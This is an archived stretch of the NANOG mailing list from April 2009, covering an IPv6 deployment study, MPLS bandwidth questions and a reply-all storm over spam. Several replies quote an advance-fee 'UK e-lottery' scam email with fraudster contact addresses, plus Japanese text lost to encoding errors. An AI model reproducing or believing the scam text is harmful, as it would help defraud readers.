Ilyas PhD Student, Computer Science and Engineering Lahore University of Management Sciences From jeroen at unfix.org Tue Apr 28 04:06:06 2009 From: jeroen at unfix.org (Jeroen Massar) Date: Tue, 28 Apr 2009 11:06:06 +0200 Subject: Study of IPv6 Deployment In-Reply-To: <10BA3662CE0C4030989C1765A0CEE76E@awesometron40k> References: <10BA3662CE0C4030989C1765A0CEE76E@awesometron40k> Message-ID: <49F6C6FE.7080006@spaghetti.zurich.ibm.com> Elliott Karpilovsky wrote: > Hello everyone. My name is Elliott Karpilovsky, a student at Princeton University. In collaboration with Alex Gerber (AT&T Research), Dan Pei (AT&T Research), Jennifer Rexford (Princeton University), and Aman Shaikh (AT&T Research), we studied the extent of IPv6 deployment at both global and local levels. Our conclusions can be summarized by the following three points: > > 1.) IPv6 deployment is not seen as a pressing issue. > 2.) We saw a lack of meaningful IPv6 traffic (mostly DNS/Domain and ICMP messages), possibly indicating that IPv6 networks are still experimental. > 3.) Studying Teredo traffic suggested that it may be used for NAT busting by P2P networks. > > Our paper (submitted and presented at PAM 2009) can be found at http://www.cs.princeton.edu/~elliottk/ipv6study.html . If you have comments or feedback with respect to these results, please feel free to express them. Nasty comment time... "To analyze native IPv6 traf?c, we use Net?ow records collected from an IPv6 Internet gateway router in a US tier-1 ISP with 11 IPv6 BGP neighbors. These records were collected from 2008-4-1 to 2008-9-26, and are taken from the business customers. " Sorry to have to make this comment, but the IPv6 side of the Internet is quite a bit larger than "11 peers". I don't really think that AT&T can call themselves a "tier-1 ISP" on the IPv6 field (they can on IPv4), especially as there are these wonderful give-aways as using OCCAID as a transit: [..] 7 fr-par02a-re1-t-2.ipv6.aorta.net (2001:730::1:2d) 51.944 ms 51.596 ms 51.915 ms 8 uk-lon01a-re1-t-1.ipv6.aorta.net (2001:730::1:2a) 60.802 ms 61.405 ms 61.498 ms 9 ibr01-ve26.lndn01.occaid.net (2001:7f8:4::7577:1) 37.941 ms 37.797 ms 37.88 ms 10 bbr01-p1-0.nwrk01.occaid.net (2001:4830:fe:1010::2) 106.622 ms 106.538 ms 106.701 ms 11 r1.mdtnj.ipv6.att.net (2001:4830:e2:2a::2) 145.847 ms 145.762 ms 146.049 ms 12 2001:1890:61:9017::2 (2001:1890:61:9017::2) 222.045 ms 222.694 ms 223.185 ms 13 mail.ietf.org (2001:1890:1112:1::20) 221.683 ms 221.66 ms 222.839 ms Heck, I can't find a single ISP in GRH with which I can reach AT&T (where eg www.ietf.org is currently in) from Europe directly. Unfortunately, I will have to state that that thus completely makes that whole paper useless as the data is used is just that: useless. I really really really hope that AT&T finally realizes that they have to start deploying IPv6. When they have done that, re-run your "study" and then release those numbers as then they will maybe be interesting when there are actual customers on the links. Greets, Jeroen -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 187 bytes Desc: OpenPGP digital signature URL: From tme at americafree.tv Tue Apr 28 04:13:05 2009 From: tme at americafree.tv (Marshall Eubanks) Date: Tue, 28 Apr 2009 05:13:05 -0400 Subject: Concerning MPLS paths In-Reply-To: <262b67200904280151xdd60572o9ecd077d73b330a1@mail.gmail.com> References: <262b67200904270510l5f96db7co7f7346a90bdffcac@mail.gmail.com> <262b67200904270550m54ee2183qd38990683fc85884@mail.gmail.com> <262b67200904270615i749a3a15n405fab4384589e0e@mail.gmail.com> <262b67200904280151xdd60572o9ecd077d73b330a1@mail.gmail.com> Message-ID: <31273C54-DD86-4F15-9763-78780BDAF075@americafree.tv> On Apr 28, 2009, at 4:51 AM, Saqib Ilyas wrote: > Anyone? > > > On Mon, Apr 27, 2009 at 6:15 PM, Saqib Ilyas wrote: > >> Furthermore, I was also wondering, if the bandwidth constraints are >> upper >> bounds, what does the traffic distribution typically look like at >> an LSR? It clearly depends on what that traffic is. The MPLS services I am most familiar with carry video traffic, with traffic patterns that look very different from the typical web site (generally the traffic is either on or off, there is very little "burstiness," there can be long periods of basically full usage of the available bandwidth and, if you commit to X Mbps, you had better actually have it, not X - epsilon). I would guess that this is one end of the spectrum, that bursty web traffic is the other, and that most other uses (such as VOIP) fall somewhere in between. Regards Marshall >> >> We're interested in traffic within a single service provider, non- >> Internet >> traffic. Perhaps most service providers set aside some (dynamic?) >> pool for >> Internet traffic, while making commitments to customer's inter-site >> traffic. >> Thanks and best regards >> >> >> >> On Mon, Apr 27, 2009 at 5:50 PM, Saqib Ilyas >> wrote: >> >>> William >>> Thanks for the reply. You say that LSPs are not static unless you >>> use TE >>> tunnels. Are you referring to the staticness in terms of the path >>> or in the >>> amount of bandwidth reserved on each link along a fixed path >>> determined at >>> the time of signalling? Isn't a bandwidth constrained LSP always a >>> TE >>> tunnel? >>> Thanks and best regards >>> >>> >>> On Mon, Apr 27, 2009 at 5:41 PM, William McCall >>> wrote: >>> >>>> Well, yes (if you don't count the additional traffic of >>>> signalling/routing protocols, label imposition, etc) but consider >>>> the fact >>>> that topologies change and routing will tend to change the total >>>> traffic >>>> handled through a node. LSPs are not static unless you use TE >>>> tunnels. >>>> Remember that labels are Forwarding Equivalency Classes and that >>>> translates >>>> into subnets (whether they're subnets in a L3 vpn or part of the >>>> P network) >>>> and the routing is still handled through an IGP or BGP. >>>> >>>> HTH >>>> >>>> --WJM IV >>>> >>>> >>>> On Mon, Apr 27, 2009 at 7:10 AM, Saqib Ilyas >>>> wrote: >>>> >>>>> Hello everyone >>>>> In the context of a single service provider network running >>>>> MPLS, if a >>>>> number of bandwidth constrained LSPs are passing through a >>>>> particular >>>>> node >>>>> and the sum of the bandwidth constraints for the LSPs is X Mb/s, >>>>> then is >>>>> X >>>>> the upper bound on the traffic through that node, or is it >>>>> sometimes >>>>> exceeded as well? >>>>> Thanks and best regards >>>>> >>>> >>>> >>> >>> >>> -- >>> Muhammad Saqib Ilyas >>> PhD Student, Computer Science and Engineering >>> Lahore University of Management Sciences >>> >> >> >> >> -- >> Muhammad Saqib Ilyas >> PhD Student, Computer Science and Engineering >> Lahore University of Management Sciences >> > > > > -- > Muhammad Saqib Ilyas > PhD Student, Computer Science and Engineering > Lahore University of Management Sciences > Regards Marshall Eubanks CEO / AmericaFree.TV From msaqib at gmail.com Tue Apr 28 04:19:17 2009 From: msaqib at gmail.com (Saqib Ilyas) Date: Tue, 28 Apr 2009 14:19:17 +0500 Subject: Concerning MPLS paths In-Reply-To: <262b67200904270550m54ee2183qd38990683fc85884@mail.gmail.com> References: <262b67200904270510l5f96db7co7f7346a90bdffcac@mail.gmail.com> <262b67200904270550m54ee2183qd38990683fc85884@mail.gmail.com> Message-ID: <262b67200904280219t426d60eftb43eec0744a1ee48@mail.gmail.com> How about when William says "LSPs are not static." Does he mean "not static" as in path may change, or that the bandwidth reserved for the LSP may change? And thanks Marshall for the reply. On Mon, Apr 27, 2009 at 5:41 PM, William McCall wrote: > >> Well, yes (if you don't count the additional traffic of signalling/routing >> protocols, label imposition, etc) but consider the fact that topologies >> change and routing will tend to change the total traffic handled through a >> node. LSPs are not static unless you use TE tunnels. Remember that labels >> are Forwarding Equivalency Classes and that translates into subnets (whether >> they're subnets in a L3 vpn or part of the P network) and the routing is >> still handled through an IGP or BGP. >> >> HTH >> >> --WJM IV >> >> >> On Mon, Apr 27, 2009 at 7:10 AM, Saqib Ilyas wrote: >> >>> Hello everyone >>> In the context of a single service provider network running MPLS, if a >>> number of bandwidth constrained LSPs are passing through a particular >>> node >>> and the sum of the bandwidth constraints for the LSPs is X Mb/s, then is >>> X >>> the upper bound on the traffic through that node, or is it sometimes >>> exceeded as well? >>> Thanks and best regards >>> >> >> > > > -- > Muhammad Saqib Ilyas > PhD Student, Computer Science and Engineering > Lahore University of Management Sciences > -- Muhammad Saqib Ilyas PhD Student, Computer Science and Engineering Lahore University of Management Sciences From srwalker65 at hotmail.com Tue Apr 28 07:26:25 2009 From: srwalker65 at hotmail.com (Steven Walker) Date: Tue, 28 Apr 2009 08:26:25 -0400 Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00264] =?ISO-2022-JP?B?GyRCJUslM0YwJE4bKEIbJEI7ZCRORjAyaCQsPkMkNSRsJGshRBsoQhskQiEqGyhC?= In-Reply-To: <20090428061253.90612.qmail@web3602.mail.tnz.yahoo.co.jp> References: <20090428061253.90612.qmail@web3602.mail.tnz.yahoo.co.jp> Message-ID: STOP SENDING ME BULLSHIT > To: TamanoYamato at yahoogroups.jp > From: alamiki1623 at yahoo.co.jp > Date: Tue, 28 Apr 2009 15:12:53 +0900 > Subject: ????[00240] ??????????????? > > ?? ? 2009?02?03? (?) > ?? ? ??????????????? > ????????????????????????? > > ???????????????????????JASRAC???????????????????????????????????????????????????????????????????????????????? > ??????????????????????????????????????????????? > ??????????????????????????????????????????????????????????????????????????????????????????????8?????????(?) > > ????????????????????UP?????????????????????????Say You Want Me?????????????????????????????????????????????????Next Time I Fall In > Love????????????????UP????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? > ?????????????????????????????????????????????????????????????????????????????????????????????????????????? > > ??????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? > ???????????????????????????????????????UP????????????????????????????????????????????????????????????????????????????????????????? > > ??????????????????????????????? ??????????????????????????? ????????? ?????????????????????????????????????????????? > ?????????????????????????????????????????JASRAC? ??JASRACK????????????????? > ?????????????????????????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????? > ???????????????????????????????????????????? ???????? > > ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? > ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????(?) > > ????????1?????????????????????????????????????????????????????????????????????????????????????(?)????????????????????????????????????????????????????? > ???????????????????? ???????????????????????????????????????????????????????????????????????????????? > > ??????????????????????????????????????????????Get Wild????????????????? MIX????????? > ???????????????????????????????????????????????????????????????????????????????????????????????????Get Wild????????????????????????????????????????? > > ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? > ????????? > > ????????????????????????????????????????? > > > > > --------------------------------- > Power up the Internet with Yahoo! Toolbar. From srwalker65 at hotmail.com Tue Apr 28 07:25:44 2009 From: srwalker65 at hotmail.com (Steven Walker) Date: Tue, 28 Apr 2009 08:25:44 -0400 Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00265] RE: Dear Sir/Madam, In-Reply-To: <20090427144104.5EE72120905@obav03.netvigator.com> References: <20090427144104.5EE72120905@obav03.netvigator.com> Message-ID: STOP IT STOP SENDING ME THIS BULLSHIT From: srwalker65 at hotmail.com To: barrdavidhowardesq1 at gmail.com; info at netvigator.com; mic.davidoliver at yahoo.com.hk; barrdavidhowardeqs1 at gmail.com; henderson_mallick at yahoo.com.hk; parleypaulson23 at yahoo.com.hk; chanleexox1 at live.com; mrs.larisa10001 at yahoo.com.hk Subject: RE: Dear Sir/Madam, Date: Mon, 27 Apr 2009 10:46:50 -0400 LOOK STOP SENDING ME THIS SHIT > From: barrdavidhowardesq1 at gmail.com; " "@obav03.netvigator.com > To: info at netvigator.com > Subject: Dear Sir/Madam, > Date: Mon, 27 Apr 2009 22:41:03 +0800 > > British e-mail lottery promotion/prize award > Department regional headquarter (D.P.U) > Identification Number: {MS-246819}. > > Dear Sir/Madam, > > Your email address was picked as the winner of 1,000,000.00GBP One Million Pounds Sterlings. contact (barrdavidhowardesq1 at gmail.com) to file for your claims. > > NOTE: NO TICKETS WERE SOLD DIRECTLY TO YOU IN PERSON, BUT, RATHER YOUR EMAIL ADDRESS WAS LUCKILY SELECTED TO HAVE WON THE PRIZE (1,000,000.00GBP) One Million Pounds Sterlings > > WARNING!!! > YOU ARE ADVISE TO KEEP YOUR WINNINGS HIGHLY CONFIDENTIAL.ANY MAIL RECIEVED OF THIS SUCH WITH ANY OTHER TRADE MARK OR ADDRESS SHOULD BE FOWARDED TO YOUR CLAIMS PROCESSOR IMMEDIATELY, THIS WILL HELP US TO FIGHT SCAM AND LOTTERY IMPOSTERS. THANK YOU FOR YOUR ANTICIPATED CO-OPERATION. > > Alex James. > Secretary, UK E-LOTTERY BOARD > From aaronfinley at gmail.com Tue Apr 28 07:38:21 2009 From: aaronfinley at gmail.com (Aaron Finley) Date: Tue, 28 Apr 2009 08:38:21 -0400 Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00267] =?ISO-2022-JP?B?GyRCJUslM0YwGyhCGyRCJE47ZCRORjAyaCQsPkMkNSRsJGshRCEqGyhC?= In-Reply-To: References: <20090428061253.90612.qmail@web3602.mail.tnz.yahoo.co.jp> Message-ID: <49F6F8BD.2050304@atfinley.com> Yahoo!??????????????????????????????????? --- Bad day? Steven Walker wrote: > STOP SENDING ME BULLSHIT > >> To: TamanoYamato at yahoogroups.jp >> From: alamiki1623 at yahoo.co.jp >> Date: Tue, 28 Apr 2009 15:12:53 +0900 >> Subject: ????[00240] ??????????????? >> >> ?? ? 2009?02?03? (?) >> ?? ? ??????????????? >> ????????????????????????? >> >> ???????????????????????JASRAC???????????????????????????????????????????????????????????????????????????????? >> ??????????????????????????????????????????????? >> ??????????????????????????????????????????????????????????????????????????????????????????????8?????????(?) ??????? http://help.yahoo.co.jp/help/jp/groups/ ???????? http://groups.yahoo.co.jp/group/TamanoYamato/ ???????? mailto:TamanoYamato-owner at yahoogroups.jp ?????: http://rd.yahoo.co.jp/egroups/050616info/1.html ?????: http://rd.yahoo.co.jp/egroups/050616info/2.html ?????: http://rd.yahoo.co.jp/egroups/050616info/3.html? --- ?Yahoo!????????????Yahoo!?????7?7???????????? ????????????????? http://groups.yahoo.co.jp/local/notice/sw.html From itmailinglist at connection2.com Tue Apr 28 07:39:40 2009 From: itmailinglist at connection2.com (It Mailing List) Date: Tue, 28 Apr 2009 13:39:40 +0100 Subject: =?windows-1258?B?UkU6IJHlmGGI6onGWzAwMjY1XSBSRTogRGVhciBTaXIvTWFkYW0s?= In-Reply-To: References: <20090427144104.5EE72120905@obav03.netvigator.com> Message-ID: <5EDA3B2DD49D4773906BBE40F270B64F@response2.com> Hi Nanog g Group, Should this not have been blocked? An email like is disgraceful to receive. Nanog is meant to be a professional mailing list..... admins, can you help? Alexander Return-Path: Delivered-To: itmailinglist at c2email.connection2.com Received: (qmail 13883 invoked by alias); 28 Apr 2009 12:31:08 -0000 Delivered-To: alias-localdelivery-itmailinglist at connection2.com Received: (qmail 13880 invoked by uid 453); 28 Apr 2009 12:31:08 -0000 Received: from localhost (HELO s0.nanog.org) (127.0.0.1) by connection2.com (qpsmtpd/0.40) with ESMTP; Tue, 28 Apr 2009 13:31:08 +0100 Received: from s0.nanog.org ([198.108.95.20] helo=s0.nanog.org) by c2email.connection2.com; 28 Apr 2009 13:31:07 +0100 Received: from localhost ([::1] helo=s0.nanog.org) by s0.nanog.org with esmtp (Exim 4.68 (FreeBSD)) (envelope-from ) id 1LymSk-000MqQ-Ap; Tue, 28 Apr 2009 12:31:02 +0000 Received: from n3.grp.bbt.yahoo.co.jp ([202.93.86.162]) by s0.nanog.org with smtp (Exim 4.68 (FreeBSD)) (envelope-from ) id 1LymOj-000I2W-PK for nanog at nanog.org; Tue, 28 Apr 2009 12:26:56 +0000 ....... -----Original Message----- From: Steven Walker [mailto:srwalker65 at hotmail.com] Sent: 28 April 2009 13:26 To: barrdavidhowardesq1 at gmail.com; info at netvigator.com; mic.davidoliver at yahoo.com.hk; barrdavidhowardeqs1 at gmail.com; henderson_mallick at yahoo.com.hk; parleypaulson23 at yahoo.com.hk; chanleexox1 at live.com; mrs.larisa10001 at yahoo.com.hk; tamanoyamato at yahoogroups.jp Subject: ???a????[00265] RE: Dear Sir/Madam, Importance: High STOP IT STOP SENDING ME THIS BULLSHIT From: srwalker65 at hotmail.com To: barrdavidhowardesq1 at gmail.com; info at netvigator.com; mic.davidoliver at yahoo.com.hk; barrdavidhowardeqs1 at gmail.com; henderson_mallick at yahoo.com.hk; parleypaulson23 at yahoo.com.hk; chanleexox1 at live.com; mrs.larisa10001 at yahoo.com.hk Subject: RE: Dear Sir/Madam, Date: Mon, 27 Apr 2009 10:46:50 -0400 LOOK STOP SENDING ME THIS SHIT > From: barrdavidhowardesq1 at gmail.com; " "@obav03.netvigator.com > To: info at netvigator.com > Subject: Dear Sir/Madam, > Date: Mon, 27 Apr 2009 22:41:03 +0800 > > British e-mail lottery promotion/prize award > Department regional headquarter (D.P.U) > Identification Number: {MS-246819}. > > Dear Sir/Madam, > > Your email address was picked as the winner of 1,000,000.00GBP One Million Pounds Sterlings. contact (barrdavidhowardesq1 at gmail.com) to file for your claims. > > NOTE: NO TICKETS WERE SOLD DIRECTLY TO YOU IN PERSON, BUT, RATHER YOUR EMAIL ADDRESS WAS LUCKILY SELECTED TO HAVE WON THE PRIZE (1,000,000.00GBP) One Million Pounds Sterlings > > WARNING!!! > YOU ARE ADVISE TO KEEP YOUR WINNINGS HIGHLY CONFIDENTIAL.ANY MAIL RECIEVED OF THIS SUCH WITH ANY OTHER TRADE MARK OR ADDRESS SHOULD BE FOWARDED TO YOUR CLAIMS PROCESSOR IMMEDIATELY, THIS WILL HELP US TO FIGHT SCAM AND LOTTERY IMPOSTERS. THANK YOU FOR YOUR ANTICIPATED CO-OPERATION. > > Alex James. > Secretary, UK E-LOTTERY BOARD > From leigh.porter at ukbroadband.com Tue Apr 28 07:41:49 2009 From: leigh.porter at ukbroadband.com (Leigh Porter) Date: Tue, 28 Apr 2009 13:41:49 +0100 Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00268] =?ISO-2022-JP?B?GyRCJUslM0YwGyhCGyRCJE47ZCRORjAyaCQsPkMkNSRsJGshRCEqGyhC?= In-Reply-To: References: <20090428061253.90612.qmail@web3602.mail.tnz.yahoo.co.jp> Message-ID: <49F6F98D.1060700@ukbroadband.com> Yahoo!??????????????????????????????????? --- Lets all meet up for beer and talk about this. We could form a group and support eachother. Steven Walker wrote: > STOP SENDING ME BULLSHIT > > >> To: TamanoYamato at yahoogroups.jp >> From: alamiki1623 at yahoo.co.jp >> Date: Tue, 28 Apr 2009 15:12:53 +0900 >> Subject: ????[00240] ??????????????? >> >> ?? ? 2009?02?03? (?) >> ?? ? ??????????????? >> ????????????????????????? >> >> ???????????????????????JASRAC???????????????????????????????????????????????????????????????????????????????? >> ??????????????????????????????????????????????? >> ??????????????????????????????????????????????????????????????????????????????????????????????8?????????(?) >> >> ????????????????????UP?????????????????????????Say You Want Me?????????????????????????????????????????????????Next Time I Fall In >> Love????????????????UP????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ?????????????????????????????????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ???????????????????????????????????????UP????????????????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????????????????? ??????????????????????????? ????????? ?????????????????????????????????????????????? >> ?????????????????????????????????????????JASRAC? ??JASRACK????????????????? >> ?????????????????????????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ???????????????????????????????????????????? ???????? >> >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????(?) >> >> ????????1?????????????????????????????????????????????????????????????????????????????????????(?)????????????????????????????????????????????????????? >> ???????????????????? ???????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????????????????????????????????Get Wild????????????????? MIX????????? >> ???????????????????????????????????????????????????????????????????????????????????????????????????Get Wild????????????????????????????????????????? >> >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ????????? >> >> ????????????????????????????????????????? >> >> >> >> >> --------------------------------- >> Power up the Internet with Yahoo! Toolbar. >> ??????? http://help.yahoo.co.jp/help/jp/groups/ ???????? http://groups.yahoo.co.jp/group/TamanoYamato/ ???????? mailto:TamanoYamato-owner at yahoogroups.jp ?????: http://rd.yahoo.co.jp/egroups/050616info/1.html ?????: http://rd.yahoo.co.jp/egroups/050616info/2.html ?????: http://rd.yahoo.co.jp/egroups/050616info/3.html? --- ?Yahoo!????????????Yahoo!?????7?7???????????? ????????????????? http://groups.yahoo.co.jp/local/notice/sw.html From leigh.porter at ukbroadband.com Tue Apr 28 07:44:36 2009 From: leigh.porter at ukbroadband.com (Leigh Porter) Date: Tue, 28 Apr 2009 13:44:36 +0100 Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00269] =?ISO-2022-JP?B?GyRCJUslM0YwGyhCGyRCJE47ZCRORjAyaCQsPkMkNSRsJGshRCEqGyhC?= In-Reply-To: References: <20090428061253.90612.qmail@web3602.mail.tnz.yahoo.co.jp> Message-ID: <49F6FA34.5010301@ukbroadband.com> Yahoo!??????????????????????????????????? --- 13:40 <+frink> dub-MNF: I just got spammed by a similar fucktard replying to a chinese email 13:40 <+frink> so I emailed him back 13:40 <+frink> Bad day? 13:40 <+frink> Steven Walker wrote: 13:40 <+frink> > > STOP SENDING ME BULLSHIT 13:40 < dub-MNF> yeah 13:40 <+frink> lol I got it too 13:40 <+frink> thats hilarious 13:41 < dub-MNF> and aaronfinley now 13:41 <@TestACL> frink you replied to ALL, idiot. 13:41 <+frink> Steven Walker innit 13:41 < dub-MNF> lol is that you? 13:41 <+frink> no 13:41 <+frink> I am frink innit 13:43 < dub-MNF> ffs he did it again 13:44 <+frink> coffee anybody? Steven Walker wrote: > STOP SENDING ME BULLSHIT > > >> To: TamanoYamato at yahoogroups.jp >> From: alamiki1623 at yahoo.co.jp >> Date: Tue, 28 Apr 2009 15:12:53 +0900 >> Subject: ????[00240] ??????????????? >> >> ?? ? 2009?02?03? (?) >> ?? ? ??????????????? >> ????????????????????????? >> >> ???????????????????????JASRAC???????????????????????????????????????????????????????????????????????????????? >> ??????????????????????????????????????????????? >> ??????????????????????????????????????????????????????????????????????????????????????????????8?????????(?) >> >> ????????????????????UP?????????????????????????Say You Want Me?????????????????????????????????????????????????Next Time I Fall In >> Love????????????????UP????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ?????????????????????????????????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ???????????????????????????????????????UP????????????????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????????????????? ??????????????????????????? ????????? ?????????????????????????????????????????????? >> ?????????????????????????????????????????JASRAC? ??JASRACK????????????????? >> ?????????????????????????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ???????????????????????????????????????????? ???????? >> >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????(?) >> >> ????????1?????????????????????????????????????????????????????????????????????????????????????(?)????????????????????????????????????????????????????? >> ???????????????????? ???????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????????????????????????????????Get Wild????????????????? MIX????????? >> ???????????????????????????????????????????????????????????????????????????????????????????????????Get Wild????????????????????????????????????????? >> >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ????????? >> >> ????????????????????????????????????????? >> >> >> >> >> --------------------------------- >> Power up the Internet with Yahoo! Toolbar. >> ??????? http://help.yahoo.co.jp/help/jp/groups/ ???????? http://groups.yahoo.co.jp/group/TamanoYamato/ ???????? mailto:TamanoYamato-owner at yahoogroups.jp ?????: http://rd.yahoo.co.jp/egroups/050616info/1.html ?????: http://rd.yahoo.co.jp/egroups/050616info/2.html ?????: http://rd.yahoo.co.jp/egroups/050616info/3.html? --- ?Yahoo!????????????Yahoo!?????7?7???????????? ????????????????? http://groups.yahoo.co.jp/local/notice/sw.html From bpfankuch at cpgreeley.com Tue Apr 28 07:50:53 2009 From: bpfankuch at cpgreeley.com (Blake Pfankuch) Date: Tue, 28 Apr 2009 06:50:53 -0600 Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00272] =?ISO-2022-JP?B?GyRCJUslM0YwJE47ZCRORjAyaCQsPkMkNSRsJGshRBsoQhskQiEqGyhC?= In-Reply-To: <49F6F98D.1060700@ukbroadband.com> References: <20090428061253.90612.qmail@web3602.mail.tnz.yahoo.co.jp> <49F6F98D.1060700@ukbroadband.com> Message-ID: <01759D50DC387C45A018FE1817CE27D755085E1104@CPExchange1.cpgreeley.com> Yahoo!??????????????????????????????????? --- This idea pleases me. Beer. Oh tasty beer.... -----Original Message----- From: Leigh Porter [mailto:leigh.porter at ukbroadband.com] Sent: Tuesday, April 28, 2009 6:42 AM To: TamanoYamato at yahoogroups.jp Cc: mic.davidoliver at yahoo.com.hk; barrdavidhowardeqs1 at gmail.com; barrdavidhowardesq1 at gmail.com; mrs.larisa10001 at yahoo.com.hk; parleypaulson23 at yahoo.com.hk; henderson_mallick at yahoo.com.hk; chanleexox1 at live.com; info at netvigator.com Subject: Re: ????[00268] ??????????????? Yahoo!??????????????????????????????????? --- Lets all meet up for beer and talk about this. We could form a group and support eachother. Steven Walker wrote: > STOP SENDING ME BULLSHIT > > >> To: TamanoYamato at yahoogroups.jp >> From: alamiki1623 at yahoo.co.jp >> Date: Tue, 28 Apr 2009 15:12:53 +0900 >> Subject: ????[00240] ??????????????? >> >> ?? ? 2009?02?03? (?) >> ?? ? ??????????????? >> ????????????????????????? >> >> ???????????????????????JASRAC???????????????????????????????????????????????????????????????????????????????? >> ??????????????????????????????????????????????? >> ??????????????????????????????????????????????????????????????????????????????????????????????8?????????(?) >> >> ????????????????????UP?????????????????????????Say You Want Me?????????????????????????????????????????????????Next Time I Fall In >> Love????????????????UP????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ?????????????????????????????????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ???????????????????????????????????????UP????????????????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????????????????? ??????????????????????????? ????????? ?????????????????????????????????????????????? >> ?????????????????????????????????????????JASRAC? ??JASRACK????????????????? >> ?????????????????????????????????????UP?????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ???????????????????????????????????????????? ???????? >> >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????(?) >> >> ????????1?????????????????????????????????????????????????????????????????????????????????????(?)????????????????????????????????????????????????????? >> ???????????????????? ???????????????????????????????????????????????????????????????????????????????? >> >> ??????????????????????????????????????????????Get Wild????????????????? MIX????????? >> ???????????????????????????????????????????????????????????????????????????????????????????????????Get Wild????????????????????????????????????????? >> >> ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? >> ????????? >> >> ????????????????????????????????????????? >> >> >> >> >> --------------------------------- >> Power up the Internet with Yahoo! Toolbar. >> ??????? http://help.yahoo.co.jp/help/jp/groups/ ???????? http://groups.yahoo.co.jp/group/TamanoYamato/ ???????? mailto:TamanoYamato-owner at yahoogroups.jp ?????: http://rd.yahoo.co.jp/egroups/050616info/1.html ?????: http://rd.yahoo.co.jp/egroups/050616info/2.html ?????: http://rd.yahoo.co.jp/egroups/050616info/3.html? --- ?Yahoo!????????????Yahoo!?????7?7???????????? ????????????????? http://groups.yahoo.co.jp/local/notice/sw.html ??????? http://help.yahoo.co.jp/help/jp/groups/ ???????? http://groups.yahoo.co.jp/group/TamanoYamato/ ???????? mailto:TamanoYamato-owner at yahoogroups.jp ?????: http://rd.yahoo.co.jp/egroups/050616info/1.html ?????: http://rd.yahoo.co.jp/egroups/050616info/2.html ?????: http://rd.yahoo.co.jp/egroups/050616info/3.html? --- ?Yahoo!????????????Yahoo!?????7?7???????????? ????????????????? http://groups.yahoo.co.jp/local/notice/sw.html From bpfankuch at cpgreeley.com Tue Apr 28 07:54:18 2009 From: bpfankuch at cpgreeley.com (Blake Pfankuch) Date: Tue, 28 Apr 2009 06:54:18 -0600 Subject: =?ISO-2022-JP?B?GyRCQmdPQjBsMkgbKEI=?=[00273] =?ISO-2022-JP?B?GyRCJUslM0YwJE47ZCRORjAyaCQsPkMkNSRsJGshRBsoQhskQiEqGyhC?= In-Reply-To: <49F6FA34.5010301@ukbroadband.com> References: <20090428061253.90612.qmail@web3602.mail.tnz.yahoo.co.jp> <49F6FA34.5010301@ukbroadband.com> Message-ID: <01759D50DC387C45A018FE1817CE27D755085E1105@CPExchange1.cpgreeley.com> Yahoo!??????????????????????????????????? --- What channel and network is that from. -----Original Message----- From: Leigh Porter [mailto:leigh.porter at ukbroadband.com] Sent: Tuesday, April 28, 2009 6:45 AM To: TamanoYamato at yahoogroups.jp Cc: mic.davidoliver at yahoo.com.hk; barrdavidhowardeqs1 at gmail.com; barrdavidhowardesq1 at gmail.com; mrs.larisa10001 at yahoo.com.hk; parleypaulson23 at yahoo.com.hk; henderson_mallick at yahoo.com.hk; chanleexox1 at live.com; info at netvigator.com Subject: Re: ????[00269] ??????????????? Yahoo!??????????????????????????????????? --- 13:40 <+frink> dub-MNF: I just got spammed by a similar fucktard replying to a chinese email 13:40 <+frink> so I emailed him back 13:40 <+frink> Bad day? 13:40 <+frink> Steven Walker wrote: 13:40 <+frink> > > STOP SENDING ME BULLSHIT 13:40 < dub-MNF> yeah 13:40 <+frink> lol I got it too 13:40 <+frink> thats hilarious 13:41 < dub-MNF> and aaronfinley now 13:41 <@TestACL> frink you replied to ALL, idiot. 13:41 <+frink> Steven Walker innit 13:41 < dub-MNF> lol is that you? 13:41 <+frink> no 13:41 <+frink> I am frink innit 13:43 < dub-MNF> ffs he did it again 13:44 <+frink> coffee anybody? Steven Walker wrote: > STOP SENDING ME BULLSHIT > > >> To: TamanoYamato at yahoogroups.jp >> From: alamiki1623 at 